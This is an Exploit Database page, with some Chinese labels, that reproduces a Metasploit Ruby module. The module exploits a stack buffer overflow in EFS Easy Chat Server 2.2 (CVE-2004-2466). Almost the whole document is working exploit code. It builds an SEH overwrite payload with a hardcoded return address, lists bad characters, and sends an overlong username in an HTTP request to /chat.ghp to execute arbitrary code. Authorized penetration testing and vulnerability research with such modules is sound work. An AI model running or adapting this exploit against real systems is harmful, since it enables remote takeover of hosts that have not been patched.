EFS Easy Chat Server – Authentication Request Handling Buffer Overflow (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2010-08-06
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16772/

• ##
  # $Id: efs_easychatserver_username.rb 9966 2010-08-06 20:12:51Z mc $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	HttpFingerprint = { :pattern => [ /Easy Chat Server\/1\.0/ ] }
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in EFS Software Easy Chat Server. By
  				sending a overly long authentication request, an attacker may be able to execute
  				arbitrary code.
  
  				NOTE: The offset to SEH is influenced by the installation path of the program.
  				The path, which defaults to "C:\Program Files\Easy Chat Server", is concatentated
  				with "\users\" and the string passed as the username HTTP paramter.
  			},
  			'Author' => [ 'LSO <lso[at]hushmail.com>' ],
  			'License'=> BSD_LICENSE,
  			'Version'=> '$Revision: 9966 $',
  			'References' =>
  				[
  					[ 'CVE', '2004-2466' ],
  					[ 'OSVDB', '7416' ],
  					[ 'BID', '25328' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 500,
  					'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3f\x5c",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Easy Chat Server 2.2', { 'Ret' => 0x1001b2b6 } ], # patrickw OK 20090302 w2k
  				],
  			'DisclosureDate' => 'Aug 14 2007',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('PATH', [ true, "Installation path of Easy Chat Server",
  					"C:\\Program Files\\Easy Chat Server" ])
  			], self.class )
  	end
  
  	def check
  		info = http_fingerprint # check method
  		# NOTE: Version 2.2 still reports "1.0" in the "Server" header
  		if (info =~ /Easy Chat Server\/1\.0/)
  			return Exploit::CheckCode::Appears
  		end
  		Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		# randomize some values.
  		val = rand_text_alpha(rand(10) + 1)
  		num = rand_text_numeric(1)
  
  		path = datastore['PATH'] + "\\users\\"
  		print_status("path: " + path)
  
  		# exploit buffer.
  		filler = rand_text_alpha(256 - path.length)
  		seh= generate_seh_payload(target.ret)
  		juju = filler + seh
  
  		uri = "/chat.ghp?username=#{juju}&password=#{val}&room=2&#sex=#{num}"
  
  		print_status("Trying target #{target.name}...")
  
  		send_request_raw({'uri' => uri}, 5)
  
  		handler
  		disconnect
  	end
  
  end